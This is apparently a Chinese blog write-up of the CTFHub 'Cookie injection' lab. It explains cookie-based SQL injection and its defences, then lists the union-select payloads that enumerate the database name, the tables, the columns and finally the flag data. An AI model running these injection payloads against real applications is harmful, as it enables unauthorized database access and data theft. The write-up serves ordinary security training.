CTFHub - Cookie注入

目录

1. Cookie注入原理

2. 防御

3. 初始数据包内容

4. 获取数据库 库名称

5. 获取数据表 表名称

6. 获取列名

7. 获取数据


1. Cookie注入原理

  1. Cookie是存储在客户端浏览器中的小型文本文件,用于在服务器和客户端之间传递数据。应用程序常常使用Cookie来存储用户身份验证信息、会话标识符等敏感信息。
  2. Cookie注入的原理是攻击者通过修改或伪造Cookie中的值,将恶意的SQL代码注入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。

2. 防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

3. 初始数据包内容

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中Cookie注入则是一种特定的SQL注入形式,它利用了应用程序中使用的Cookie来进行攻击。

        此题为Cookie注入,所以我们利用bp进行抓包,找到数据包内的Cookie进行注入。

4. 获取数据库 库名称

        因为在CTFHub中web内SQL板块使用的是同一个数据库,所以列数是相同的。于是略过了判断列数的步骤,直接进入正题。

-2 union select 1,database()

5. 获取数据表 表名称

        使用的命令为:select * from 表名 where 限制条件。

        table_schema=database() :选择当前连接的数据库(sqli)中的所有表。

        group_concat:多个行的值合并为一个字符串的聚合函数。通俗的将就是回显出所有内容。

        可以发现此处没有【flag】表,取而代之的是【gzuhxxtsjy】,查看该表中的列名。

       【news】表一直都存在,所以第一想法先不考虑此表中的内容。

-2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6. 获取列名

        table_name='gzuhxxtsjy' :选择表名为【gzuhxxtsjy】的表的数据。

-2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='gzuhxxtsjy'

7. 获取数据

-2 union select 1,nqxditexuo from gzuhxxtsjy

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值